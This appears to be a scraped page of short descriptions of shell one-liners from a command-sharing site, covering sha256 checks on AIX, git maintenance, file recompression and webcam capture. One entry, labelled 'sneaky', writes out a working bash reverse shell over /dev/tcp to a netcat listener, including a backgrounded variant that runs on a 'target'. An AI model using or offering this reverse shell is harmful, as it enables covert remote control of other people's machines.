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This command is used to verify a sha256sum-formatted file hash list on IBM AIX or any other UNIX-like OS that has openssl but doesn't have sha256sum by default. Steps:
1: Save to the filesystem a script that:
A: Receives as arguments the two parts of one line of a sha256sum listing
B: Feeds a file into openssl on SHA256 standard input hash calculation mode, and saves the result
C: Compares the calculated hash against the one received as argument
D: Outputs the result in a sha256sum-like format
2: Make the script runnable
3: Feed the sha256sum listing to xargs, running the aforementioned script and passing 2 arguments at a time
This will strip out the relivent disk information from kvm. I'm using it to find disks on a SAN which are no longer in use.
basic find implementation for systems that don't actually have find, like an android console without busybox installed.
git gc should be run on all git repositories every 100 commits. This will help do do so if you have many git repositories ;-)
How much memory is chrome sucking?
If you want to copy all files listed (with full path) in a text-file (i.e. cmus playlist.pl) to a certain directory use this nice oneliner...
Credits goes to RiffRaff: http://www.programmingforums.org/post242527-2.html
Some computers these days don't have an HDD activity light, but they still have a useless caps-lock, so why not re-purpose that light to show HDD activity?
Requires setleds and dstat and probably needs to run as root.
Find all .gz files and recompress them to bz2 on the fly. No temp files.
edit: forgot the double quotes! jeez!
This command is more robust because it handles spaces, newlines and control characters in filenames. It uses printf, not ls, to determine file size.
This exports all lines of input file as environment variables, assuming each line is like these:
(Please see sample output for usage)
Use any script name (the read command gets it) and it will be encrypted with the extension .crypt, i.e.:
myscript --> myscript.crypt
You can execute myscript.crypt only if you know the password. If you die, your script dies with you.
If you modify the startup line, be careful with the offset calculation of the crypted block (the XX string).
Not difficult to make script editable (an offset-dd piped to a gpg -d piped to a vim - piped to a gpg -c directed to script.new ), but not enough space to do it on a one liner.
Sorry for the chmod on parentheses, I dont like "-" at the end.
Thanks flatcap for the subshell abbreviation to /dev/null
make a bunch of files with the same permissions, owner, group, and content as a template file
(handy if you have much to do w. .php, .html files or alike)
Simply add this to whatever apache startup script you have, or if you are on a MAC, create a new automator application. This will show a pretty growl notification whenever theres a new Apache error log entry. Useful for local development
# find assumes email files start with a number 1-9
# sed joins the lines starting with " " to the previous line
# gawk print the received and from lines
# sort according to the second field (received+from)
# uniq print the duplicated filename
# a message is viewed as duplicate if it is received at the same time as another message, and from the same person.
The command was intended to be run under cron. If run in a terminal, mutt can be used:
mutt -e "push otD~=xq" -f $folder
This command takes a 1280x1024 p picture from the webcam.
If prefer it smaller, try changing the -s parameter: qqvga is the tiniest, vga is 640x480, svga is 800x600 and so on.
Get your smile on and press enter! :)
A lot of files in one dir is not so cool for filesystem.
This is sneaky.
First, start a listening service on your box.
nc -l 8080 -vvv &
On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.
exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
You can send it to the background like this:
(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &
Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.
Assumes you've cd'd to the folder in which all your git repos reside; you could run it from ~ without -maxdepth, although that might make find take quite a while longer.
If you have several processor cores, but not that much ram, you might want to run
git config --global pack.threads 1
first, since gc-ing can eat lots of ram.